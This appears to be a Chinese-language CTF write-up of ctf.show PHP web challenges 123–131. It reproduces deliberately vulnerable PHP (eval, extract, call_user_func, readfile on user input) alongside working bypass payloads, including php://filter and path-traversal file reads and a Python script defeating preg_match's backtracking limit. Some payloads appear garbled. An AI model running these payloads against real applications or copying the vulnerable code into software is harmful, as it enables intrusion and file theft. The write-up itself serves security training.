web 123
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
就是条件判断POST传入的值有咩有CTF_SHOW,CTF_SHOW.COM以及GET方式传参不能有fl0g,然后正则表达式过滤了一部分的符号,然后执行eval函数,其中的变量c来自POST方式传入的fun。
然后这道题的重点是
$a=$_SERVER['argv'];
$_SERVER[‘argv’]在命令行界面是用法是获取脚本的命令行参数,比如运行php renascence.php argv1 argv2 那 $_SERVER[‘argv’];里的值就是这样的
$_SERVER['argv'][0]=renascence.php #脚本名
$_SERVER['argv'][1]=argv1 #第一个参数名
$_SERVER['argv'][2]=argv2 #第二个参数名
但是这些是在命令行界面中因为网页访问时缺少命令行环境,所以一般不会有啥有用的参数,因为网页版不会有命令行参数,但是可能会把查询字符串或者一些其他的字符传入 $ a=$_SERVER[‘argv’]中
这里GET传入过滤了fl0g,但是没有过滤$f10g,因为GET是一个数组,php不会因为你的名字叫 $f10g就把他当作一个变量,他只是一个字符串,所以可以用我们即使用$10g传参 isset( $_GET[‘fl0g’)也会返回flase
然后过滤CTF_SHOW,CTFSHOW.COM我们在post传参中加上即可通过当这一部分也为true时候就会触发eval 而这个是我们可控的所以我们可以用eva([a[0])来获得a的第一个参数,而a的第一个参数是他的文件名字
此时的 $_SERVER[‘argv’][0]其实是 $_SERVER[“QUERY_STRING”]是一个查询语句,当我们访问 $flag=flag_give_me时候,服务器就会将这条查询放入 $_SERVER[‘argv’][0]中,他现在包含了所有的查询字符串
然后eval函数执行的时候执行的eval(a[0]),因为0是我们查询的这条语句$flag=flag_give_me所以php就会真的定义这个变量然后赋值,所以我们就能同通过 if( $fl0g===“flag_give_me”)这个强等于类型,同样要用中括号报错来让后面的语句成功,所以我们这道题的payload就是
?$ fl0g=flag_give_me;
CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
还有另外一种解法,在我们url传参的时候如果出现空格或者.的话会被解析为下划线,而在php8之前如果传参的过程中出现中括号就会解析为下划线并且转换报错,之后的空格和.就不会在被解析,然后正则表达中也没有过滤字母和空格所以我们payload为
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
web 125
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
如上,只是第二种解法不能用了
web126
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
同上
web127
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
extracrt就是将数组中的变量导入到当前的符号表内
还是我们上面讲道德知识点,因为有正则过滤掉了_所以不能直接打出ctf_show所以,当Url直接给传参时候出现空格和.都会被转换为_下划线,所以利用这个特性payload就是
?ctf show=ilove36d
web128
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
这题得用一个新的自是
()是gettext的扩展形式,当开启特定参数后就会打开,(666)就会返回数组的值
get_fined_vars这个函数会返回所有自定义的变量组成的数组的值
所以这道题的Payload就是
?f1=_f2=get_fined_vars
web 129
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
题目要求传入的参数f里面要有ctfshow并且位置不能在开头,如果通过的话就执行读取文件所以我们可以用php伪协议,目录穿越来解决
?f=php://filter/convert.base64-encode/ctfshow/resource=flag.php
?f=php://filter/ctfshow/resource=flag.php
?f=/ctfshow/…/…/…/…/…/…/…/var/www/html/flag.php
web 130
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
一个正则匹配,一个对比ctfshow必须要有ctfshow,但是正则匹配的是
.表示匹配单个字符,+表示至少出现一次,+?表示重复一次或多次,尽量少
ctfshow,但是Post方式直接上传就行,也可以通过数组绕过,正则表达null不等于flase所以正则可以绕过,而且0===flase也不成立,所以对比也能让绕过,所以payload为,
f=ctfshow
f=[]1
web 131
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
这道题目会进行字符串转换,所以这次要用目录溢出,也就是preg_match 对正则匹配有次数限制,超过次数限制,直接返回flase
> import requests
url="https://88344fb1-8742-4e79-a59b-ee4ab13fb395.challenge.ctf.show"
data={'f':'very'*250000+'36Dctfshow' }
r=requests.post(url,data=data,verify=False)
print(r.text)